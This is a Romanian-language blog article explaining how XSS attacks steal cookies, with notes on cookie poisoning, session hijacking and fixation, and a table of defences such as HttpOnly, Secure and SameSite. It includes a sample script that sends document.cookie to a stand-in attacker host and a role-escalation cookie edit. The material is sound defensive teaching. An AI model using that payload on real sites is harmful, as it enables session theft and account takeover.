Cum pot fi furate cookie-urile prin atacuri XSS – Mecanisme, Riscuri și Protecții

by danroo

Cookie-urile sunt piese fundamentale ale experienței online. Ele înregistrează sesiuni, preferințe și informații de autentificare. Dar știai că, dacă un site este vulnerabil, cookie-urile tale pot fi furate cu ușurință prin atacuri XSS (Cross-Site Scripting)?

În acest articol vei afla cum se produce furtul de cookie-uri, ce riscuri implică și cum te poți proteja.

Ce este un cookie și ce poate (sau nu poate) face?

Un cookie este un fișier text stocat de browser la cererea unui site web. În mod normal:

  • Poate: stoca date despre sesiune, preferințe, autentificare.
  • Nu poate: executa cod, instala programe, accesa fișierele tale.

Totuși, dacă site-ul este vulnerabil la atacuri de tip XSS, aceste date pot fi interceptate și folosite împotriva ta.

Cum funcționează un atac XSS pentru furtul cookie-urilor

Un atacator poate introduce cod JavaScript malițion printr-un formular sau comentariu pe un site vulnerabil. Exemplu:

<script>
  fetch('https://evil-attacker.com/steal.php?cookie=' + document.cookie);
</script>

Când alt utilizator accesează pagina cu comentariul, scriptul se execută și trimite cookie-urile către serverul atacatorului.

Scenariu simplificat

  1. Utilizator accesează pagina vulnerabilă.
  2. Scriptul malițion se execută automat.
  3. Cookie-ul de sesiune este trimis atacatorului.
  4. Atacatorul poate folosi cookie-ul pentru a se conecta în contul victimei.

Ce tipuri de atacuri asupra cookie-urilor mai există?

Cookie Poisoning

Un atacator modifică manual valorile cookie-ului pentru a obține privilegii sau acces neautorizat.

Exemplu: Schimbarea valorii user_role=guest în user_role=admin într-un cookie nesecurizat.

Cookie Theft prin alte metode

  • Session Hijacking: folosirea cookie-urilor furate pentru a prelua sesiuni active.
  • Session Fixation: impunerea unui cookie controlat de atacator utilizatorului.

Cum te poți proteja?

AmenințareSoluție de protecție
Cod malițion XSSValidare și sanitizare input (escapare caractere HTML)
Acces JavaScript la cookieSetarea atributului HttpOnly
Transmitere cookie pe HTTPFolosirea atributului Secure (numai HTTPS)
Atacuri între site-uri diferiteSetarea atributului SameSite=Strict

Exemplu de cookie sigur:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

Concluzie

Chiar dacă cookie-urile nu pot executa cod singure, exploatarea vulnerabilităților XSS le poate transforma într-un vector puternic de atac. Protejarea aplicațiilor web prin politici corecte de securitate este esențială pentru a preveni furtul de date și compromiterea conturilor.

Rămâi informat, securizează-ți aplicațiile și navighează în siguranță!

 

Lasă un răspuns